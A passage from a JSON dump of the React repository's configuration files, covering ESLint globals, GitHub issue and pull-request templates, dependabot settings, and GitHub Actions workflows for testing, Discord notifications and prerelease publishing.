$AsyncIterator: 'readonly',\n    Iterator: 'readonly',\n    AsyncIterator: 'readonly',\n    IntervalID: 'readonly',\n    IteratorResult: 'readonly',\n    JSONValue: 'readonly',\n    JSResourceReference: 'readonly',\n    mixin$Animatable: 'readonly',\n    MouseEventHandler: 'readonly',\n    NavigateEvent: 'readonly',\n    Partial: 'readonly',\n    PerformanceMeasureOptions: 'readonly',\n    PropagationPhases: 'readonly',\n    PropertyDescriptor: 'readonly',\n    PropertyDescriptorMap: 'readonly',\n    Proxy$traps: 'readonly',\n    React$Component: 'readonly',\n    React$Config: 'readonly',\n    React$Context: 'readonly',\n    React$Element: 'readonly',\n    React$ElementConfig: 'readonly',\n    React$ElementProps: 'readonly',\n    React$ElementRef: 'readonly',\n    React$ElementType: 'readonly',\n    React$Key: 'readonly',\n    React$Node: 'readonly',\n    React$Portal: 'readonly',\n    React$Ref: 'readonly',\n    React$RefSetter: 'readonly',\n    ReadableStreamController: 'readonly',\n    ReadableStreamReader: 'readonly',\n    RequestInfo: 'readonly',\n    RequestOptions: 'readonly',\n    StoreAsGlobal: 'readonly',\n    symbol: 'readonly',\n    SyntheticEvent: 'readonly',\n    SyntheticMouseEvent: 'readonly',\n    SyntheticPointerEvent: 'readonly',\n    Thenable: 'readonly',\n    TimeoutID: 'readonly',\n    WheelEventHandler: 'readonly',\n    FinalizationRegistry: 'readonly',\n    Exclude: 'readonly',\n    Omit: 'readonly',\n    Pick: 'readonly',\n    Keyframe: 'readonly',\n    PropertyIndexedKeyframes: 'readonly',\n    KeyframeAnimationOptions: 'readonly',\n    GetAnimationsOptions: 'readonly',\n    ScrollTimeline: 'readonly',\n    EventListenerOptionsOrUseCapture: 'readonly',\n    FocusOptions: 'readonly',\n    OptionalEffectTiming: 'readonly',\n\n    __REACT_ROOT_PATH_TEST__: 'readonly',\n    spyOnDev: 'readonly',\n    spyOnDevAndProd: 'readonly',\n    spyOnProd: 'readonly',\n    __DEV__: 'readonly',\n    __EXPERIMENTAL__: 'readonly',\n    __EXTENSION__: 'readonly',\n    __PROFILE__: 'readonly',\n    __TEST__: 'readonly',\n    __VARIANT__: 'readonly',\n    __unmockReact: 'readonly',\n    gate: 'readonly',\n    trustedTypes: 'readonly',\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n    globalThis: 'readonly',\n    navigation: 'readonly',\n  },\n};\n"
  },
  {
    "path": ".git-blame-ignore-revs",
    "content": "c998bb1ed4b3285398c9c7797135d3f060243c6a\nfd2b3e13d330a4559f5aa21462e1cb2cbbcf144b\n"
  },
  {
    "path": ".gitattributes",
    "content": "* text=auto\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: \"🐛 Bug Report\"\nabout: Report a reproducible bug or regression.\ntitle: 'Bug: '\nlabels: 'Status: Unconfirmed'\n\n---\n\n<!--\n  Please provide a clear and concise description of what the bug is. Include\n  screenshots if needed. Please test using the latest version of the relevant\n  React packages to make sure your issue has not already been fixed.\n-->\n\nReact version:\n\n## Steps To Reproduce\n\n1.\n2.\n\n<!--\n  Your bug will get fixed much faster if we can run your code and it doesn't\n  have dependencies other than React. Issues without reproduction steps or\n  code examples may be immediately closed as not actionable.\n-->\n\nLink to code example:\n\n<!--\n  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a\n  repository on GitHub, or provide a minimal code example that reproduces the\n  problem. You may provide a screenshot of the application if you think it is\n  relevant to your bug report. Here are some tips for providing a minimal\n  example: https://stackoverflow.com/help/mcve.\n-->\n\n## The current behavior\n\n\n## The expected behavior\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/compiler_bug_report.yml",
    "content": "name: \"⚛️ ✨ Compiler bug report\"\ndescription: \"Report a problem with React Compiler. Please provide enough information that we can reproduce the problem.\"\ntitle: \"[Compiler Bug]: \"\nlabels: [\"Component: Optimizing Compiler\", \"Type: Bug\", \"Status: Unconfirmed\"]\nbody:\n- type: checkboxes\n  attributes:\n    label: What kind of issue is this?\n    description: |\n      Please indicate if this issue affects the following tools provided by React Compiler.\n    options:\n      - label: React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n      - label: babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n      - label: eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n      - label: react-compiler-healthcheck (build issue installing or using the healthcheck script)\n- type: input\n  attributes:\n    label: Link to repro\n    description: |\n      Please provide a repro by either sharing a [Playground link](https://playground.react.dev), or a public GitHub repo so the React team can reproduce the error being reported. Please do not share localhost links!\n    placeholder: |\n      e.g. public GitHub repo, or Playground link\n  validations:\n    required: true\n- type: textarea\n  attributes:\n    label: Repro steps\n    description: |\n      What were you doing when the bug happened? Detailed information helps maintainers reproduce and fix bugs.\n\n      Issues filed without repro steps will be closed.\n    placeholder: |\n      Example bug report:\n      1. Log in with username/password\n      2. Click \"Messages\" on the left menu\n      3. Open any message in the list\n  validations:\n    required: true\n- type: dropdown\n  attributes:\n    label: How often does this bug happen?\n    description: |\n      Following the repro steps above, how easily are you able to reproduce this bug?\n    options:\n      - Every time\n      - Often\n      - Sometimes\n      - Only once\n  validations:\n    required: true\n- type: input\n  attributes:\n    label: What version of React are you using?\n    description: |\n      Please provide your React version in the app where this issue occurred.\n  validations:\n    required: true\n- type: input\n  attributes:\n    label: What version of React Compiler are you using?\n    description: |\n      Please provide the exact React Compiler version in the app where this issue occurred.\n  validations:\n    required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n    - name: 📃 Documentation Issue\n      url: https://github.com/reactjs/react.dev/issues/new/choose\n      about: This issue tracker is not for documentation issues. Please file documentation issues here.\n    - name: 🤔 Questions and Help\n      url: https://reactjs.org/community/support.html\n      about: This issue tracker is not for support questions. Please refer to the React community's help and discussion forums.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/devtools_bug_report.yml",
    "content": "name: \"⚛️ 🛠 DevTools bug report\"\ndescription: \"Report a problem with React DevTools. Please provide enough information that we can reproduce the problem.\"\ntitle: \"[DevTools Bug]: \"\nlabels: [\"Component: Developer Tools\", \"Type: Bug\", \"Status: Unconfirmed\"]\nbody:\n- type: input\n  attributes:\n    label: Website or app\n    description: |\n      Which website or app were you using when the bug happened?\n\n      This should be a public URL, GitHub repo, or Code Sandbox app so the React team can reproduce the error being reported. (Please no localhost URLs.)\n    placeholder: |\n      e.g. website URL, public GitHub repo, or Code Sandbox app\n  validations:\n    required: true\n- type: textarea\n  attributes:\n    label: Repro steps\n    description: |\n      What were you doing on the website or app when the bug happened? Detailed information helps maintainers reproduce and fix bugs.\n\n      Issues filed without repro steps will be closed.\n    placeholder: |\n      Example bug report:\n      1. Log in with username/password\n      2. Click \"Messages\" on the left menu\n      3. Open any message in the list\n  validations:\n    required: true\n- type: dropdown\n  attributes:\n    label: How often does this bug happen?\n    description: |\n      Following the repro steps above, how easily are you able to reproduce this bug?\n    options:\n      - Every time\n      - Often\n      - Sometimes\n      - Only once\n  validations:\n    required: true\n- type: input\n  id: automated_package\n  attributes:\n    label: DevTools package (automated)\n    description: |\n      Please do not edit this field.\n- type: input\n  id: automated_version\n  attributes:\n    label: DevTools version (automated)\n    description: |\n      Please do not edit this field.\n- type: input\n  id: automated_error_message\n  attributes:\n    label: Error message (automated)\n    description: |\n      Please do not edit this field.\n- type: textarea\n  id: automated_call_stack\n  attributes:\n    label: Error call stack (automated)\n    description: |\n      Please do not edit this field.\n    render: text\n- type: textarea\n  id: automated_component_stack\n  attributes:\n    label: Error component stack (automated)\n    description: |\n      Please do not edit this field.\n    render: text\n- type: textarea\n  id: automated_github_query_string\n  attributes:\n    label: GitHub query string (automated)\n    description: |\n      Please do not edit this field.\n    render: text\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "<!--\n  Thanks for submitting a pull request!\n  We appreciate you spending the time to work on these changes. Please provide enough information so that others can review your pull request. The three fields below are mandatory.\n\n  Before submitting a pull request, please make sure the following is done:\n\n  1. Fork [the repository](https://github.com/facebook/react) and create your branch from `main`.\n  2. Run `yarn` in the repository root.\n  3. If you've fixed a bug or added code that should be tested, add tests!\n  4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch TestName` is helpful in development.\n  5. Run `yarn test --prod` to test in the production environment. It supports the same options as `yarn test`.\n  6. If you need a debugger, run `yarn test --debug --watch TestName`, open `chrome://inspect`, and press \"Inspect\".\n  7. Format your code with [prettier](https://github.com/prettier/prettier) (`yarn prettier`).\n  8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only check changed files.\n  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).\n  10. If you haven't already, complete the CLA.\n\n  Learn more about contributing: https://reactjs.org/docs/how-to-contribute.html\n-->\n\n## Summary\n\n<!--\n Explain the **motivation** for making this change. What existing problem does the pull request solve?\n-->\n\n## How did you test this change?\n\n<!--\n  Demonstrate the code is solid. Example: The exact commands you ran and their output, screenshots / videos if the pull request changes the user interface.\n  How exactly did you verify that your PR solves the issue you wanted to solve?\n  If you leave this empty, your PR will very likely be closed.\n-->\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"npm\"\n    directories:\n      - \"/fixtures/*\"\n    schedule:\n      interval: \"monthly\"\n    open-pull-requests-limit: 0\n    ignore:\n      - dependency-name: \"*\"\n"
  },
  {
    "path": ".github/workflows/compiler_discord_notify.yml",
    "content": "name: (Compiler) Discord Notify\n\non:\n  pull_request_target:\n    types: [opened, ready_for_review]\n    paths:\n      - compiler/**\n      - .github/workflows/compiler_**.yml\n\npermissions: {}\n\njobs:\n  check_access:\n    if: ${{ github.event.pull_request.draft == false }}\n    runs-on: ubuntu-latest\n    outputs:\n      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}\n    steps:\n      - run: echo ${{ github.event.pull_request.author_association }}\n      - name: Check is member or collaborator\n        id: check_is_member_or_collaborator\n        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}\n        run: echo \"is_member_or_collaborator=true\" >> \"$GITHUB_OUTPUT\"\n\n  check_maintainer:\n    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}\n    needs: [check_access]\n    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main\n    permissions:\n      # Used by check_maintainer\n      contents: read\n    with:\n      actor: ${{ github.event.pull_request.user.login }}\n\n  notify:\n    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}\n    needs: check_maintainer\n    runs-on: ubuntu-latest\n    steps:\n      - name: Discord Webhook Action\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.COMPILER_DISCORD_WEBHOOK_URL }}\n          embed-author-name: ${{ github.event.pull_request.user.login }}\n          embed-author-url: ${{ github.event.pull_request.user.html_url }}\n          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}\n          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'\n          embed-description: ${{ github.event.pull_request.body }}\n          embed-url: ${{ github.event.pull_request.html_url }}\n"
  },
  {
    "path": ".github/workflows/compiler_playground.yml",
    "content": "name: (Compiler) Playground\n\non:\n  push:\n    branches: [main]\n  pull_request:\n    paths:\n      - compiler/**\n      - .github/workflows/compiler_playground.yml\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}\n  cancel-in-progress: true\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\ndefaults:\n  run:\n    working-directory: compiler/apps/playground\n\njobs:\n  playground:\n    name: Test playground\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: compiler/**/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: compiler-and-playground-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/**/yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        working-directory: compiler\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Check Playwright version\n        id: playwright_version\n        run: echo \"playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)\" >> \"$GITHUB_OUTPUT\"\n      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}\n        id: cache_playwright_browsers\n        uses: actions/cache@v4\n        with:\n          path: ~/.cache/ms-playwright\n          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}\n      - run: npx playwright install --with-deps chromium\n        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'\n      - run: CI=true yarn test\n      - run: ls -R test-results\n        if: '!cancelled()'\n      - name: Archive test results\n        if: '!cancelled()'\n        uses: actions/upload-artifact@v4\n        with:\n          name: test-results\n          path: compiler/apps/playground/test-results\n          if-no-files-found: ignore\n"
  },
  {
    "path": ".github/workflows/compiler_prereleases.yml",
    "content": "name: (Compiler) Publish Prereleases\n\non:\n  workflow_call:\n    inputs:\n      commit_sha:\n        required: true\n        default: ''\n        type: string\n      release_channel:\n        required: true\n        type: string\n      dist_tag:\n        required: true\n        type: string\n      version_name:\n        required: true\n        type: string\n      tag_version:\n        required: false\n        type: string\n      dry_run:\n        required: false\n        type: boolean\n    secrets:\n      NPM_TOKEN:\n        required: true\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n\ndefaults:\n  run:\n    working-directory: compiler\n\njobs:\n  publish_prerelease:\n    name: Publish prelease (${{ inputs.release_channel }}) ${{ inputs.commit_sha }} @${{ inputs.dist_tag }}\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - if: inputs.dry_run == true\n        name: Publish packages to npm (dry run)\n        run: |\n          cp ./scripts/release/ci-npmrc ~/.npmrc\n          scripts/release/publish.js --frfr --debug --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}\n      - if: inputs.dry_run != true\n        name: Publish packages to npm\n        run: |\n          cp ./scripts/release/ci-npmrc ~/.npmrc\n          scripts/release/publish.js --frfr --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}\n"
  },
  {
    "path": ".github/workflows/compiler_prereleases_manual.yml",
    "content": "name: (Compiler) Publish Prereleases Manual\n\non:\n  workflow_dispatch:\n    inputs:\n      prerelease_commit_sha:\n        required: false\n      release_channel:\n        required: true\n        type: string\n      dist_tag:\n        required: true\n        type: string\n      version_name:\n        required: true\n        type: string\n      tag_version:\n        required: false\n        type: string\n      dry_run:\n        required: false\n        type: boolean\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  publish_prerelease_experimental:\n    name: Publish to Experimental channel\n    uses: facebook/react/.github/workflows/compiler_prereleases.yml@main\n    with:\n      commit_sha: ${{ inputs.prerelease_commit_sha || github.sha }}\n      release_channel: ${{ inputs.release_channel }}\n      dist_tag: ${{ inputs.dist_tag }}\n      version_name: ${{ inputs.version_name }}\n      tag_version: ${{ inputs.tag_version }}\n      dry_run: ${{ inputs.dry_run }}\n    secrets:\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/compiler_prereleases_nightly.yml",
    "content": "name: (Compiler) Publish Prereleases Nightly\n\non:\n  schedule:\n    # At 10 minutes past 16:00 on Mon, Tue, Wed, Thu, and Fri\n    - cron: 10 16 * * 1,2,3,4,5\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  publish_prerelease_experimental:\n    name: Publish to Experimental channel\n    uses: facebook/react/.github/workflows/compiler_prereleases.yml@main\n    with:\n      commit_sha: ${{ github.sha }}\n      release_channel: experimental\n      dist_tag: experimental\n      version_name: '0.0.0'\n      dry_run: false\n    secrets:\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/compiler_typescript.yml",
    "content": "name: (Compiler) TypeScript\n\non:\n  push:\n    branches: [main]\n  pull_request:\n    paths:\n      - compiler/**\n      - .github/workflows/compiler_typescript.yml\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}\n  cancel-in-progress: true\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\ndefaults:\n  run:\n    working-directory: compiler\n\njobs:\n  discover_yarn_workspaces:\n    name: Discover yarn workspaces\n    runs-on: ubuntu-latest\n    outputs:\n      matrix: ${{ steps.set-matrix.outputs.matrix }}\n    steps:\n      - uses: actions/checkout@v4\n      - id: set-matrix\n        run: echo \"matrix=$(find packages -mindepth 1 -maxdepth 1 -type d | sed 's!packages/!!g' | tr '\\n' ',' | sed s/.$// | jq -Rsc '. / \",\" - [\"\"]')\" >> $GITHUB_OUTPUT\n\n  # Hardcoded to improve parallelism\n  lint:\n    name: Lint babel-plugin-react-compiler\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn workspace babel-plugin-react-compiler lint\n\n  # Hardcoded to improve parallelism\n  jest:\n    name: Jest babel-plugin-react-compiler\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn workspace babel-plugin-react-compiler jest\n\n  test:\n    name: Test ${{ matrix.workspace_name }}\n    needs: discover_yarn_workspaces\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        workspace_name: ${{ fromJSON(needs.discover_yarn_workspaces.outputs.matrix) }}\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: xvfb-run -a yarn workspace ${{ matrix.workspace_name }} test\n        if: runner.os == 'Linux' && matrix.workspace_name == 'react-forgive'\n      - run: yarn workspace ${{ matrix.workspace_name }} test\n        if: matrix.workspace_name != 'react-forgive'\n"
  },
  {
    "path": ".github/workflows/devtools_discord_notify.yml",
    "content": "name: (DevTools) Discord Notify\n\non:\n  pull_request_target:\n    types: [opened, ready_for_review]\n    paths:\n      - packages/react-devtools**\n      - .github/workflows/devtools_**.yml\n\npermissions: {}\n\njobs:\n  check_access:\n    if: ${{ github.event.pull_request.draft == false }}\n    runs-on: ubuntu-latest\n    outputs:\n      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}\n    steps:\n      - run: echo ${{ github.event.pull_request.author_association }}\n      - name: Check is member or collaborator\n        id: check_is_member_or_collaborator\n        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}\n        run: echo \"is_member_or_collaborator=true\" >> \"$GITHUB_OUTPUT\"\n\n  check_maintainer:\n    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}\n    needs: [check_access]\n    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main\n    permissions:\n      # Used by check_maintainer\n      contents: read\n    with:\n      actor: ${{ github.event.pull_request.user.login }}\n\n  notify:\n    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}\n    needs: check_maintainer\n    runs-on: ubuntu-latest\n    steps:\n      - name: Discord Webhook Action\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.DEVTOOLS_DISCORD_WEBHOOK_URL }}\n          embed-author-name: ${{ github.event.pull_request.user.login }}\n          embed-author-url: ${{ github.event.pull_request.user.html_url }}\n          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}\n          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'\n          embed-description: ${{ github.event.pull_request.body }}\n          embed-url: ${{ github.event.pull_request.html_url }}\n"
  },
  {
    "path": ".github/workflows/devtools_regression_tests.yml",
    "content": "name: (DevTools) Regression Tests\n\non:\n  schedule:\n    - cron: 0 0 * * *\n  workflow_dispatch:\n    inputs:\n      commit_sha:\n        required: false\n        type: string\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  download_build:\n    name: Download base build\n    runs-on: ubuntu-latest\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd scripts/release install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Download react-devtools artifacts for base revision\n        run: |\n          git fetch origin main\n          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=${{ inputs.commit_sha || '$(git rev-parse origin/main)' }}\n      - name: Display structure of build\n        run: ls -R build\n      - name: Archive build\n        uses: actions/upload-artifact@v4\n        with:\n          name: build\n          path: build\n          if-no-files-found: error\n\n  build_devtools_and_process_artifacts:\n    name: Build DevTools and process artifacts\n    needs: download_build\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          name: build\n          path: build\n      - run: ./scripts/ci/pack_and_store_devtools_artifacts.sh\n        env:\n          RELEASE_CHANNEL: experimental\n      - name: Display structure of build\n        run: ls -R build\n      - name: Archive devtools build\n        uses: actions/upload-artifact@v4\n        with:\n          name: react-devtools\n          path: build/devtools\n          if-no-files-found: error\n      # Simplifies getting the extension for local testing\n      - name: Archive chrome extension\n        uses: actions/upload-artifact@v4\n        with:\n          name: react-devtools-chrome-extension\n          path: build/devtools/chrome-extension.zip\n          if-no-files-found: error\n      - name: Archive firefox extension\n        uses: actions/upload-artifact@v4\n        with:\n          name: react-devtools-firefox-extension\n          path: build/devtools/firefox-extension.zip\n          if-no-files-found: error\n\n  run_devtools_tests_for_versions:\n    name: Run DevTools tests for versions\n    needs: build_devtools_and_process_artifacts\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        version:\n          - \"16.0\"\n          - \"16.5\" # schedule package\n          - \"16.8\" # hooks\n          - \"17.0\"\n          - \"18.0\"\n          - \"18.2\" # compiler polyfill\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore all archived build artifacts\n        uses: actions/download-artifact@v4\n      - name: Display structure of build\n        run: ls -R build\n      - run: ./scripts/ci/download_devtools_regression_build.js ${{ matrix.version }} --replaceBuild\n      - run: node ./scripts/jest/jest-cli.js --build --project devtools --release-channel=experimental --reactVersion ${{ matrix.version }} --ci\n\n  run_devtools_e2e_tests_for_versions:\n    name: Run DevTools e2e tests for versions\n    needs: build_devtools_and_process_artifacts\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        version:\n          - \"16.0\"\n          - \"16.5\" # schedule package\n          - \"16.8\" # hooks\n          - \"17.0\"\n          - \"18.0\"\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore all archived build artifacts\n        uses: actions/download-artifact@v4\n      - name: Display structure of build\n        run: ls -R build\n      - name: Check Playwright version\n        id: playwright_version\n        run: echo \"playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)\" >> \"$GITHUB_OUTPUT\"\n      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}\n        id: cache_playwright_browsers\n        uses: actions/cache@v4\n        with:\n          path: ~/.cache/ms-playwright\n          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}\n      - run: npx playwright install --with-deps\n        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'\n      - run: npx playwright install-deps\n        if: steps.cache_playwright_browsers.outputs.cache-hit == 'true'\n      - run: ./scripts/ci/download_devtools_regression_build.js ${{ matrix.version }}\n      - run: ls -R build-regression\n      - run: ./scripts/ci/run_devtools_e2e_tests.js ${{ matrix.version }}\n        env:\n          RELEASE_CHANNEL: experimental\n      - name: Cleanup build regression folder\n        run: rm -r ./build-regression\n      - uses: actions/upload-artifact@v4\n        with:\n          name: screenshots\n          path: ./tmp/playwright-artifacts\n          if-no-files-found: warn\n"
  },
  {
    "path": ".github/workflows/runtime_build_and_test.yml",
